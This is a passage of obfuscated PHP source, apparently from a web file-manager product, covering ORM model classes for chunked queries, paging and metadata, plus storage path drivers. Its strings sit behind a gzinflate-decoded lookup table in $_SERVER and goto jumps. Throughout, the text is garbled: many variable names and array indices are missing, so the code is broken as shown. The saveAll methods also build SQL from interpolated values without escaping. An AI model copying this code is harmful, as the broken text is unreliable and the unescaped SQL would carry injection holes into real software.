array_shift($䴃); } $Ӝ٣ = $this->parseSql($Ӝ٣, $䴃); return $this->db->execute($Ӝ٣); } protected function parseSql($ܱ, $ˊ) { $ =& $_SERVER[]; if (!0 === $ˊ) { $ߟ = $this->_parseOptions(); $ܱ = $this->db->parseSql($ܱ, $ߟ); } elseif (is_array($ˊ)) { $ˊ = array_map(array($this->db, $[343]), $ˊ); $ܱ = vsprintf($ܱ, $ˊ); } else { $ܱ = strtr($ܱ, array($[344] => $this->getTableName(), $[345] => think_config($[244]))); } $this->db->setModel($this->name); return $ܱ; } public function db($ = '', $Ѐߡ = '', $͓ = array()) { $ =& $_SERVER[]; if ($[12] === $ && $this->db) { return $this->db; } static $̭ = array(); static $㠶 = array(); if (!isset($㠶[$]) || isset($㠶[$]) && $Ѐߡ && $̭[$] != $Ѐߡ) { if (!empty($Ѐߡ) && is_string($Ѐߡ) && !1 === strpos($Ѐߡ, $[8])) { $Ѐߡ = think_config($Ѐߡ); } $ = think_guid($Ѐߡ); $㠶[$] = Db::getInstance($Ѐߡ); } elseif (NULL === $Ѐߡ) { $㠶[$]->close(); unset($㠶[$]); return; } if (!empty($͓)) { if (is_string($͓)) { parse_str($͓, $͓); } foreach ($͓ as $ => $) { $this->setProperty($, $); } } $̭[$] = $Ѐߡ; $this->db = $㠶[$]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $Ĝ = get_class($this); if ($Ĝ == $_SERVER[][346]) { return $this->name; } $this->name = substr($Ĝ, 0, -5); } return $this->name; } public function getTableName() { $ܣ =& $_SERVER[]; if (empty($this->trueTableName)) { $Ɓ = !empty($this->tablePrefix) ? $this->tablePrefix : $ܣ[12]; if (!empty($this->tableName)) { $Ɓ .= $this->tableName; } else { $Ɓ .= think_parse_name($this->name); } $this->trueTableName = strtolower($Ɓ); } return (!empty($this->dbName) ? $this->dbName . $ܣ[10] : $ܣ[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $⚮ =& $_SERVER[]; return isset($this->fields[$⚮[251]]) ? $this->fields[$⚮[251]] : $this->pk; } public function getDbFields() { $Ӵ =& $_SERVER[]; if (isset($this->options[$Ӵ[279]])) { $ᅒԘ = $this->db->getFields($this->options[$Ӵ[279]]); return $ᅒԘ ? array_keys($ᅒԘ) : !1; } if ($this->fields) { $ᅒԘ = $this->fields; unset($ᅒԘ[$Ӵ[250]], $ᅒԘ[$Ӵ[251]], $ᅒԘ[$Ӵ[252]], $ᅒԘ[$Ӵ[249]]); return $ᅒԘ; } return !1; } public function data($ = '') { $Όˈ =& $_SERVER[]; if ($Όˈ[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($Όˈ[271])); } $this->data = $; return $this; } public function join($) { $Ǩ =& $_SERVER[]; if (is_array($)) { $this->options[$Ǩ[282]] = $; } elseif (!empty($)) { $this->options[$Ǩ[282]][] = $; } return $this; } public function union($ྺ, $ = false) { $ڷ =& $_SERVER[]; if (empty($ྺ)) { return $this; } if ($) { $this->options[$ڷ[347]][$ڷ[348]] = !0; } if (is_object($ྺ)) { $ྺ = get_object_vars($ྺ); } if (is_string($ྺ)) { $㸷 = $ྺ; } elseif (is_array($ྺ)) { if (isset($ྺ[0])) { $this->options[$ڷ[347]] = array_merge($this->options[$ڷ[347]], $ྺ); return $this; } else { $㸷 = $ྺ; } } else { think_exception(think_lang($ڷ[271])); } $this->options[$ڷ[347]][] = $㸷; return $this; } public function cache($ = true, $ = null, $쳈 = '') { $ =& $_SERVER[]; if (!1 !== $) { $this->options[$[349]] = array($[94] => $, $[339] => $, $[33] => $쳈); } return $this; } public function field($¢, $ = false) { $֙ =& $_SERVER[]; if (!0 === $¢) { $ = $this->getDbFields(); $¢ = $ ? $ : $֙[189]; } elseif ($) { if (is_string($¢)) { $¢ = explode($֙[50], $¢); } $ = $this->getDbFields(); $¢ = $ ? array_diff($, $¢) : $¢; } $this->options[$֙[273]] = $¢; return $this; } public function scope($Χʵ = '', $ = NULL) { $ =& $_SERVER[]; if ($[12] === $Χʵ) { if (isset($this->_scope[$[37]])) { $ = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($Χʵ)) { $ص = explode($[50], $Χʵ); $ = array(); foreach ($ص as $؇) { if (!isset($this->_scope[$؇])) { continue; } $ = array_merge($, $this->_scope[$؇]); } if (!empty($) && is_array($)) { $ = array_merge($, $); } } elseif (is_array($Χʵ)) { $ = $Χʵ; } if (is_array($) && !empty($)) { $this->options = array_merge($this->options, array_change_key_case($)); } return $this; } public function where($ǡ, $Ș = null) { $ =& $_SERVER[]; if (!is_null($Ș) && is_string($ǡ)) { if (!is_array($Ș)) { $Ș = func_get_args(); array_shift($Ș); } $Ș = array_map(array($this->db, $[343]), $Ș); $ǡ = vsprintf($ǡ, $Ș); } elseif (is_object($ǡ)) { $ǡ = get_object_vars($ǡ); } elseif (is_array($ǡ)) { foreach ($ǡ as $۵ => $) { if ((is_numeric($۵) || !$۵) && is_string($)) { if (strpos($, $[350]) === 0) { continue; } think_trace($[351], $[12], $[49]); die; } } } if (is_string($ǡ) && $[12] != $ǡ) { $ = array(); $[$[352]] = $ǡ; $ǡ = $; } if (isset($this->options[$[275]])) { $this->options[$[275]] = array_merge($this->options[$[275]], $ǡ); } else { $this->options[$[275]] = $ǡ; } return $this; } public function limit($, $ = null) { $ =& $_SERVER[]; $this->options[$[292]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function page($, $ = null) { $ԅ =& $_SERVER[]; $this->options[$ԅ[353]] = is_null($) ? $ : $ . $ԅ[50] . $; return $this; } public function comment($߱) { $this->options[$_SERVER[][354]] = $߱; return $this; } public function setProperty($Ï, $) { if (property_exists($this, $Ï)) { $this->{$Ï} = $; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\157\x64\151\146\171\x54\151\155\x65", "\x74\151\155\x65", "\151\x6e\163\145\162\x74\x2c\x75\x70\x64\x61\x74\x65", "\146\165\156\143\x74\x69\x6f\156"), array("\143\x72\145\141\164\x65\x54\x69\155\145", "\164\151\155\145", "\x69\156\x73\145\162\x74", "\146\x75\156\143\x74\x69\x6f\x6e")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($ = '', $֙ = '', $ = '') { parent::__construct($, $֙, $); } protected $tableMeta = array(); protected function _beforeInsert(&$Njخ, $ȡȸ) { $Ʈ =& $_SERVER[]; if (!$this->checkDataAutoHas($Ʈ[355])) { return; } $this->dataBeforeFilter($Njخ, $Ʈ[355]); } protected function _beforeUpdate(&$, $) { $ɧ =& $_SERVER[]; if (!$this->checkDataAutoHas($ɧ[356])) { return; } $this->dataBeforeFilter($, $ɧ[356]); } protected function _afterSelect(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][357])) { return; } foreach ($ as &$ԩ) { $this->dataAfterFilter($ԩ); } unset($ԩ); } protected function _afterFind(&$, $۩) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][357])) { return; } $this->dataAfterFilter($); } public static function textEncode($⯛) { if (!$⯛) { return $⯛; } $ʼ = json_encode($⯛); $ʼ = preg_replace_callback($_SERVER[][358], function ($ϙ) { return addslashes($ϙ[0]); }, $ʼ); return json_decode($ʼ); } public static function textDecode($) { $ =& $_SERVER[]; $ = json_encode($); $ = preg_replace_callback($[359], function ($) { return $_SERVER[][97]; }, $); return json_decode($); } public function setAutoIncrement($) { $괯߂ = array($this->getPk() => $); $ = $this->data($괯߂)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $يˌ = $this->getTableName(); $ = $this->max($this->getPk()); $Љ = $this->query("\x73\x68\x6f\x77\x20\x74\141\142\154\145\40\x73\164\x61\164\165\x73\x20\167\150\145\x72\x65\x20\x4e\141\155\x65\x3d\x27{$يˌ}\47"); $ = $Љ[0][$_SERVER[][360]]; $ = max($, $); return $; } protected function _callBefore($, $헬) { return $this->cacheCallCheck($, $헬, !1); } protected function _callAfter($¦, $ٵ) { return $this->cacheCallCheck($¦, $ٵ, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($ݎ, $, $ß = false) { $ = $this->cacheFunctionAlias($); if (!$) { return; } foreach ($ as $Қɮ => $ο) { $ك = $ο[0]; $ψ = explode($_SERVER[][50], $ο[1]); if ($ݎ == $Қɮ) { return $this->cacheFunctionGet($Қɮ, $ك); } if ($ß && in_array($ݎ, $ψ)) { $this->cacheFunctionClear($Қɮ, $ك); } } } public function cacheFunctionGet($Ѡ, $ޖ) { $佧 = $this->cacheKeyMake($Ѡ, $ޖ); $ = Cache::get($佧); if (!is_array($)) { $ = call_user_func_array(array($this, $Ѡ), array($ޖ, !0)); Cache::set($佧, $); } return $; } public function cacheFunctionClear($ʨ, $蕀) { $ = $蕀; if (!is_array($蕀)) { $ = array($蕀); } foreach ($ as $) { $ = $this->cacheKeyMake($ʨ, $); Cache::remove($); } } private function cacheKeyMake($, $ۊ) { $̠ =& $_SERVER[]; return get_class($this) . $̠[11] . $ . $̠[361] . $ۊ; } protected function selectPageReset() { $ =& $_SERVER[]; if (isset($GLOBALS[$[362]])) { return; } $GLOBALS[$[362]] = isset($GLOBALS[$[7]][$[363]]) ? $GLOBALS[$[7]][$[363]] : !1; $GLOBALS[$[364]] = isset($GLOBALS[$[7]][$[353]]) ? $GLOBALS[$[7]][$[353]] : !1; $GLOBALS[$[7]][$[363]] = !1; $GLOBALS[$[7]][$[353]] = !1; } protected function selectPageRestore() { $Һ =& $_SERVER[]; if (!isset($GLOBALS[$Һ[362]])) { return; } $GLOBALS[$Һ[7]][$Һ[363]] = $GLOBALS[$Һ[362]]; $GLOBALS[$Һ[7]][$Һ[353]] = $GLOBALS[$Һ[364]]; if ($GLOBALS[$Һ[7]][$Һ[363]] === !1) { unset($GLOBALS[$Һ[7]][$Һ[363]]); } if ($GLOBALS[$Һ[7]][$Һ[353]] === !1) { unset($GLOBALS[$Һ[7]][$Һ[353]]); } unset($GLOBALS[$Һ[362]]); unset($GLOBALS[$Һ[364]]); } protected function selectPage($ = 200, $фŸ = 1) { $ =& $_SERVER[]; global $in; $ƀ = $this->optionsValue(); $֘ = 50000; $ = isset($in[$[363]]) && $in[$[363]] ? $in[$[363]] : $; if ($ === -1) { $in[$[363]] = !1; $֘ = 100000000; $ = $֘; } $ܾ = $ƀ; $ܾ[$[365]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $֘ ? $֘ : $); $фŸ = intval(isset($in[$[353]]) && $in[$[353]] ? $in[$[353]] : $фŸ); $фŸ = $фŸ <= 1 ? 1 : $фŸ; $ĸ = array(); $ = 1; if ($фŸ == 1 && $) { $this->optionsValue($ƀ); $ĸ = $this->page($фŸ, $)->select(); $ = is_array($ĸ) ? count($ĸ) : 0; if ($ < $) { $ = 1; } else { $this->optionsValue($ܾ); $ = intval($this->count()); $ = ceil($ / $); } } else { $this->optionsValue($ܾ); $ = intval($this->count()); $ = ceil($ / $); $фŸ = $фŸ >= $ ? $ : $фŸ; $this->optionsValue($ƀ); $ĸ = $this->page($фŸ, $)->select(); } if (!is_array($ĸ)) { $ĸ = array(); } if ($ == 1) { $ = count($ĸ); } $ = array($[366] => array($[367] => $, $[363] => $, $[353] => $фŸ, $[368] => $), $[369] => $ĸ); return $; } protected function checkLength($Ǚє, $ = 0, $ꋔ = '') { $ =& $_SERVER[]; $ = $ ? $ : 65536; if (!$Ǚє || strlen($Ǚє) < $) { return; } $ꋔ = $ꋔ ? $ꋔ . $[71] : $[12]; show_json($ꋔ . LNG($[370]) . "\50{$}\51", !1); } protected function metaSet($, $Ɣ = null, $ԋܧ = null) { $Ԏ =& $_SERVER[]; if (!$this->tableMeta || !$) { return !1; } $ጼ = $this->tableMeta[$Ԏ[371]]; $ = $this->tableMeta[$Ԏ[372]]; $ = Model($); $Ԭ = array($ጼ => $, $Ԏ[373] => $Ɣ); if (is_null($Ɣ)) { return $->where(array($ጼ => $))->delete(); } if (is_null($ԋܧ) && is_string($Ɣ)) { return $->where($Ԭ)->delete(); } $ۺ = is_array($Ɣ) ? $Ɣ : array(); if (is_string($Ɣ)) { $ۺ[$Ɣ] = $ԋܧ; } $舒 = array(); foreach ($ۺ as $ߨް => $) { if (is_null($) && is_string($ߨް)) { $->where(array($ጼ => $, $Ԏ[373] => $ߨް))->delete(); continue; } $this->checkLength($, !1, $ . $Ԏ[4] . $ߨް); $舒[] = array($ጼ => $, $Ԏ[94] => $ߨް, $Ԏ[374] => $); } $Ţ = $Ԏ[375] . $; CacheLock::lock($Ţ); $->where(array($ጼ => $))->addAll($舒, array(), !0); CacheLock::unlock($Ţ); return !0; } public function metaGet($©, $̲ = false) { $ =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $ = $this->tableMeta[$[371]]; $ = Model($this->tableMeta[$[372]]); if ($̲) { $ڵ = array($ => $©, $[94] => $̲); return $->where($ڵ)->getField($[374]); } $ڵ = array($ => $©); $ = $->field($[376])->where($ڵ)->select(); $ = array_to_keyvalue($, $[94], $[374]); return $; } private function checkDataAutoHas($njҨ) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($njҨ, explode($_SERVER[][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$, $) { $ =& $_SERVER[]; if (!is_array($)) { return; } foreach ($this->dataAuto as $ꅶ) { $ = $ꅶ[0]; if (!in_array($, explode($[50], $ꅶ[2]))) { continue; } switch (trim($ꅶ[3])) { case $[321]: case $[322]: $ = $ꅶ[1]; $Կ = isset($ꅶ[4]) ? (array) $ꅶ[4] : array(); if ($ == $[180] && array_key_exists($, $)) { if (!$[$]) { unset($[$]); } break; } if (isset($[$])) { array_unshift($Կ, $[$]); } if ($[321] == $ꅶ[3]) { $[$] = call_user_func_array($, $Կ); } else { $[$] = call_user_func_array(array(&$this, $), $Կ); } break; case $[270]: if (isset($[$]) && $[$]) { $[$] = call_user_func_array(array(&$this, $ꅶ[1]), array($[$])); } break; case $[273]: $[$] = $[$ꅶ[1]]; break; case $[294]: if (isset($[$]) && !is_string($[$])) { $[$] = json_encode_force($[$]); } break; case $[323]: if ($[$] === $[12]) { unset($[$]); } break; case $[324]: $[$] = $ꅶ[1]; default: break; } } if ($ == $[355]) { $Ŀ = strtolower($this->db->getDbType()); if (strpos($Ŀ, $[13]) !== 0) { return; } $֖ = $this->field(!0)->fields; $ = $֖[$[252]]; if (isset($֖[$[251]])) { unset($[$֖[$[251]]]); } foreach ($ as $ => $) { if (!isset($[$])) { $[$] = $[12]; } } } } private function dataAfterFilter(&$ᔅ) { $ =& $_SERVER[]; foreach ($this->dataAuto as $Շ) { $ط = $Շ[0]; if (!isset($ᔅ[$ط])) { continue; } if (!in_array($[357], explode($[50], $Շ[2]))) { continue; } switch (trim($Շ[3])) { case $[321]: case $[322]: $ = isset($Շ[4]) ? (array) $Շ[4] : array(); array_unshift($, $ᔅ[$ط]); if (isset($Շ[4]) && $Շ[4] == $[377]) { $ = array($ᔅ[$ط]); } if ($[321] == $Շ[3]) { $ᔅ[$ط] = call_user_func_array($Շ[1], $); } else { $ᔅ[$ط] = call_user_func_array(array(&$this, $Շ[1]), $); } break; case $[270]: if (isset($ᔅ[$ط]) && $ᔅ[$ط]) { $ᔅ[$ط] = call_user_func_array(array(&$this, $Շ[1]), array($ᔅ[$ط])); } break; case $[273]: $ᔅ[$ط] = $ᔅ[$Շ[1]]; break; case $[294]: $ = $ᔅ[$ط]; $ᔅ[$ط] = json_decode($, !0); if (is_null($ᔅ[$ط])) { $ᔅ[$ط] = $; } break; case $[323]: if ($ᔅ[$ط] === $[12]) { unset($ᔅ[$ط]); } break; case $[324]: $ᔅ[$ط] = $Շ[1]; break; default: break; } } } public function saveAll($ū) { $ذ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; $깚 = self::SQL_WHERE_IN_CHUNK; $ū = is_array($ū) ? $ū : array(); $톹 = $ذ[378]; $ = 0; $ഒ = array(); $ = count($ū); for ($ = 0; $ < $; $++) { $ݥ = $ū[$]; if (!is_array($ݥ) || count($ݥ) != 4) { continue; } $à = "\x55\x50\104\101\124\105\x20\x60{$}\140\40\x53\x45\124\x20{$ݥ[2]}\x20\x3d\40\103\x41\x53\105\40{$ݥ[0]}\40\xa"; if ($ == 0) { $톹 = $à; } $ഒ[] = $ذ[118] . $ݥ[1] . $ذ[118]; $++; $톹 .= "\x20\127\x48\x45\116\x20\x27{$ݥ[1]}\47\x20\x54\x48\105\x4e\x20\x27{$ݥ[3]}\47\x20\xa"; if ($ == $깚 || $ == $ - 1) { $덡Ϝ = implode($ذ[50], $ഒ); $톹 .= "\x20\x45\116\x44\x20\x20\x57\x48\105\x52\x45\x20{$ݥ[0]}\x20\x49\116\40\50{$덡Ϝ}\x29\x20"; $this->execute($톹); $ = 0; $톹 = $à; $this->chunkEventCheck(count($ഒ)); $ഒ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $Ǝ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; foreach ($ as $ׄʱ) { if (!is_array($ׄʱ) || count($ׄʱ) != 4) { continue; } $ِ = $ׄʱ[0] . $Ǝ[379] . $ׄʱ[1] . $Ǝ[118]; $ = $ׄʱ[2] . $Ǝ[379] . $ׄʱ[3] . $Ǝ[118]; $Ǥ = "\165\160\x64\141\x74\145\40{$}\x20\x73\145\164\40{$}\x20\167\150\145\162\x65\x20{$ِ}\73"; $this->execute($Ǥ); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $ʱ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $ʱ[$_SERVER[][380]] = $; Hook::trigger($this->_chunkEvent, $ʱ); } public function addAll($, $ܖ = array(), $ҍ = false) { $ =& $_SERVER[]; ignore_timeout(); $ӑկ = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($[271]); return !1; } $ܖ = $this->_parseOptions($ܖ); foreach ($ as $ => $ۜ) { $[$] = $this->_facade($ۜ); $this->_beforeInsert($[$], $ܖ); } if (method_exists($this->db, $[272])) { for ($ = 0; $ < count($); $ += $ӑկ) { $⏘ = array_slice($, $, $ӑկ); if (!is_array($⏘) || count($⏘) == 0) { break; } $ = $this->db->insertAll($⏘, $ܖ, $ҍ); $this->chunkEventCheck(count($⏘)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $ => $ۜ) { $ = $this->db->insert($ۜ, $ܖ, $ҍ); } $this->commit(); } if (!1 !== $) { $۰ = $this->getLastInsID(); if ($۰) { return $۰; } } return $; } public function save($ = '', $ੇ = array()) { $čƒ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ʫ = $this->optionsValue(); $甐 = $this->findWhereField($ʫ); if (!$甐) { return parent::save($, $ੇ); } $Μ = 0; $ݞ = $ʫ[$čƒ[275]][$甐][1]; $ݞ = is_array($ݞ) ? $ݞ : array(); $聫 = count($ݞ); for ($䪻 = 0; $䪻 < $聫; $䪻 += $) { $ = array_slice($ݞ, $䪻, $); if (!is_array($) || count($) == 0) { break; } $ʫ[$čƒ[275]][$甐][1] = $; $this->optionsValue($ʫ); $Μ += parent::save($, $ੇ); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); return $Μ; } public function add($ = '', $ګ = array(), $ИΠ = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $ګ, $ИΠ); } public function parseWhereLike($炶, $ϳӗ = '', $Ԕ = false, &$ = false) { $뤆 =& $_SERVER[]; $ = $GLOBALS[$뤆[6]][$뤆[381]]; if (!$[$뤆[382]]) { return $炶; } if (!is_array($炶)) { return $炶; } $ҥʕ = array(); $ߠ = 0; foreach ($炶 as $ע => $) { if (is_array($) && count($) == 2 && $[0] == $뤆[383] && is_string($[1]) && substr($[1], 0, 1) == $뤆[384] && substr($[1], strlen($[1]) - 1, 1) == $뤆[384]) { $ = !0; $ = is_string($ע) ? $ע : $ϳӗ; $˅ = substr($[1], 1, strlen($[1]) - 2); $˅ = $this->db->escapeString($˅); if (!strpos($, $뤆[10])) { $ = $뤆[385] . $ . $뤆[385]; } $ = $뤆[189] . $˅ . $뤆[189]; $˅ = str_replace(array($뤆[10], $뤆[386], $뤆[11]), $뤆[387], $˅); if ($[$뤆[388]]) { $ = $뤆[389] . $˅ . $뤆[390]; if ($[$뤆[391]]) { $ = $뤆[390] . $˅ . $뤆[389]; } } $ҥʕ[$ߠ] = $뤆[392] . $ . $뤆[393] . $ . $뤆[394]; $ߠ++; continue; } if (is_array($)) { $ϳӗ = is_string($ע) ? $ע : $ϳӗ; $ = $this->parseWhereLike($, $ϳӗ, !0, $); } if (is_numeric($ע)) { $ҥʕ[$ߠ] = $; $ߠ++; } else { $ҥʕ[$ע] = $; } } if ($ && !$Ԕ) { } return $ҥʕ; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ݵ = array()) { $ =& $_SERVER[]; $ε = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$ || isset($[$[292]]) || isset($[$[353]])) { return parent::select($ݵ); } $ = $[$[275]][$][1]; $ = is_array($) ? $ : array(); $駑 = null; for ($̡ = 0; $̡ < count($); $̡ += $ε) { $ = array_slice($, $̡, $ε); if (!is_array($) || count($) == 0) { break; } $[$[275]][$][1] = $; $this->optionsValue($); $ð = parent::select($ݵ); if (!$ð) { continue; } $駑 = is_array($駑) ? $駑 : array(); $駑 = array_merge($駑, $ð); } return $駑; } public function delete($ = array()) { $˿ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $穸 = $this->optionsValue(); $ħط = $this->findWhereField($穸); if (!$ħط) { return parent::delete($); } $ = 0; $ = $穸[$˿[275]][$ħط][1]; $ = is_array($) ? $ : array(); for ($ā = 0; $ā < count($); $ā += $) { $ݘ = array_slice($, $ā, $); if (!is_array($ݘ) || count($ݘ) == 0) { break; } $穸[$˿[275]][$ħط][1] = $ݘ; $this->optionsValue($穸); $ += parent::delete($); } return $; } private function findWhereField($۬) { $ݎ =& $_SERVER[]; $ˮ = self::SQL_WHERE_IN_CHUNK; if (!is_array($۬) || !is_array($۬[$ݎ[275]])) { return !1; } foreach ($۬[$ݎ[275]] as $ => $Β) { if (is_array($Β) && isset($Β[0]) && is_string($Β[0]) && strtolower($Β[0]) == $ݎ[7] && is_array($Β[1]) && count($Β[1]) > $ˮ) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($̉ = true) { think_config($_SERVER[][395], $̉); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\x53\171\163\164\145\x6d\x4f\x70\x74\151\157\x6e"; public $field = array(); public function listData($ = false, $ = "\x6d\x6f\x64\151\146\x79\x54\x69\155\145", $ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $ᒛ = array_values($); if ($ᒛ && $ᒛ[0] && !is_array($ᒛ[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $ ? null : array(); } if (!$) { $ = array_filter(array_values($)); return array_sort_by($, $, $); } return $[$_SERVER[][396] . $]; } public function insert($) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $֨ = Model($this->modelType)->get($[397], $this->optionType . $[398]); $֨ = $֨ ? $֨ : 0; $[$[399]] = ++$֨; $[$[201]] = time(); $[$[85]] = time(); Model($this->modelType)->set($[397], $֨, $this->optionType . $[398]); Model($this->modelType)->set($[396] . $֨, $, $this->optionType); return $֨; } public function update($ܩ, $) { $͖ =& $_SERVER[]; $ = array_field_key($, $this->field); $ = $this->listData($ܩ); if (!$ || !$ܩ) { return !1; } $ = array_merge($, $); $[$͖[85]] = time(); return Model($this->modelType)->set($͖[396] . $ܩ, $, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[][396] . $, $this->optionType); } public function clear() { $ء =& $_SERVER[]; Model($this->modelType)->remove($ء[397], $this->optionType . $ء[398]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($, $) { if (!$) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $); return isset($[$]) ? $[$] : !1; } public function findByName($ڍ) { return $this->findByKey($_SERVER[][32], $ڍ); } protected function resetData($) { $ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array(); for ($ = 0; $ < count($); $++) { $[$[396] . $[$][$[399]]] = $[$]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($ٻ) { $ܕ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$ܕ || !isset($ܕ[$ٻ])) { return $ٻ; } for ($ = 1; $ < count($ܕ); $++) { $ = $ٻ . "\50{$}\x29"; if (!isset($ܕ[$])) { return $; } } return $; } } goto a̭; f: $_SERVER[̬Ե] = explode($_SERVER[][608], gzinflate(substr($_SERVER[][609], 10, -8))); $spldjavyqw = $_SERVER[][610]; if (!$spldjavyqw) { return; } goto d; Až: class PathDriverCOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][216]); } public function uploadFormData($雟, $ = 3600) { $ =& $_SERVER[]; $߫ = $[199]; $Ѧ = $[232]; $ = $[1324]; $ҽ = gmdate($[1325], time() + $); $⊃ = (string) time() . $[71] . (string) (time() + $); $ۨņ = array($[1326] => $ҽ, $[1327] => array(array($[1328] => $߫), array($[1329] => $this->bucket), array($[1330], $[1331], $[12]), array($[1332] => $), array($[1333] => $Ѧ), array($[1334] => $this->accessKey), array($[1335] => $⊃))); $ۨņ = json_encode($ۨņ); $ȫ = hash_hmac($[232], $⊃, $this->secret); $ = sha1($ۨņ); $ؖ = hash_hmac($[232], $, $ȫ); $ = array($[1328] => $߫, $[1332] => $, $[1336] => base64_encode($ۨņ), $[1333] => $Ѧ, $[1334] => $this->accessKey, $[1337] => $⊃, $[1338] => $ؖ, $[182] => $this->getHost()); return $; } public function fileOutLink($ٷ) { $ƍ =& $_SERVER[]; if (substr($ٷ, 0, 7) == $ƍ[1339]) { $ٷ = $ƍ[1340] . substr($ٷ, 7); } header($ƍ[161] . $ٷ); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1341]); } public function getPath($ɲ) { return trim($ɲ, $_SERVER[][8]); } public function pathFather($) { $ڍ = $this->parse($); $ڍ = $this->infoSimple($); return $ڍ ? $ڍ[$_SERVER[][432]] : !1; } public function pathThis($) { $Ԍ = $this->infoSimple($); return $Ԍ ? $Ԍ[$_SERVER[][32]] : !1; } public function getPathOuter($ܒ) { if (!$ܒ) { return $ܒ; } $ = $this->parse($ܒ); return KodIO::make($[$_SERVER[][399]]); } public function copyFolderFromIO($џ, $, $, $, $) { $ϴ = $this->model->copyFolderFromIO($џ, $, $, $, $); return KodIO::make($ϴ); } public function isParentOf($刏զ, $Ο) { return $this->model->isParentOf($刏զ, $Ο); } public function mkfile($, $Ă = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[399]]; for ($ = 0; $ < count($[$[1342]]); $++) { $׆ = $[$[1342]][$]; if ($ == count($[$[1342]]) - 1) { $ = $this->model->mkfile($, $׆, $Ă, $); break; } $ = $this->model->mkdir($, $׆, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($, $ = REPEAT_SKIP) { $ϙ =& $_SERVER[]; $ē = $this->parse($); $ = $ē[$ϙ[399]]; for ($ؑݚ = 0; $ؑݚ < count($ē[$ϙ[1342]]); $ؑݚ++) { $ӱ = $ē[$ϙ[1342]][$ؑݚ]; $ = $this->model->mkdir($, $ӱ, $); } return $this->getPathOuter($); } public function copyFile($, $, $ɟ = REPEAT_REPLACE) { $ߌ =& $_SERVER[]; $ = $this->parse($); $ܳ = $this->model->copy($, $[$ߌ[399]], $ɟ, $[$ߌ[84]]); return $ܳ ? $this->getPathOuter($ܳ) : !1; } public function moveFile($ѐ, $렋, $Ҙˋ = REPEAT_REPLACE) { $ޫ =& $_SERVER[]; $ݏ = $this->parse($렋); $ = $this->model->move($ѐ, $ݏ[$ޫ[399]], $Ҙˋ, $ݏ[$ޫ[84]]); return $ ? $this->getPathOuter($) : !1; } public function copy($ȓ, $, $ = REPEAT_REPLACE, $ꡳ = false) { $ = $this->parse($); $ = $this->model->copy($ȓ, $[$_SERVER[][399]], $, $ꡳ); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($, $, $Ԉ՛ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $ = $this->model->move($, $[$_SERVER[][399]], $Ԉ՛, $); return $ ? $this->getPathOuter($) : !1; } public function remove($, $т = true) { return $this->model->remove($, $т); } public function rename($ݠ, $Ǥ) { $ = 